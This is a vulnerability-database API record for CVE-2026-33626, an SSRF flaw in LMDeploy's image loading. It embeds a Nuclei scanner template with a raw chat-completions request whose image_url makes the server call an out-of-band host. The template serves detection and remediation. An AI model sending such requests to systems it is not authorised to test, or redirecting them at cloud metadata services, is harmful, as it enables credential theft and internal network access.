{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-33626/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-33626/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-33626/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-33626/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-33626/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-33626/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-33626"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-33626"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-33626.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-33626\n\ninfo:\n  name: LMDeploy - Server-Side Request Forgery\n  author: theamanrawat\n  severity: high\n  description: |\n    LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.\n  impact: |\n    An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.\n  remediation: |\n    Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.\n  reference:\n    - https://github.com/advisories/GHSA-6w67-hwm5-92mq\n    - https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33626\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-33626\n    epss-score: 0.4525\n    epss-percentile: 0.98789\n    cwe-id: CWE-918\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: internlm\n    product: lmdeploy\n  tags: cve,cve2026,lmdeploy,ssrf,oast,llm,vkev,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/v1/models\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"lmdeploy\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /v1/chat/completions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"model\":\"internlm-xcomposer2\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"Describe this image\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"http://{{interactsh-url}}\"}}]}]}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'contains(interactsh_request, \"User-Agent\")'\n        condition: and\n# digest: 490a004630440220476225a9d8e4581b6fc66c5580dc9617107675fdd53543cfaf250f63ac8359b8022075c51e0d50b8e314d483b0c9b502842ffe2b859e49b83c317dc020375278d07c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-33626"}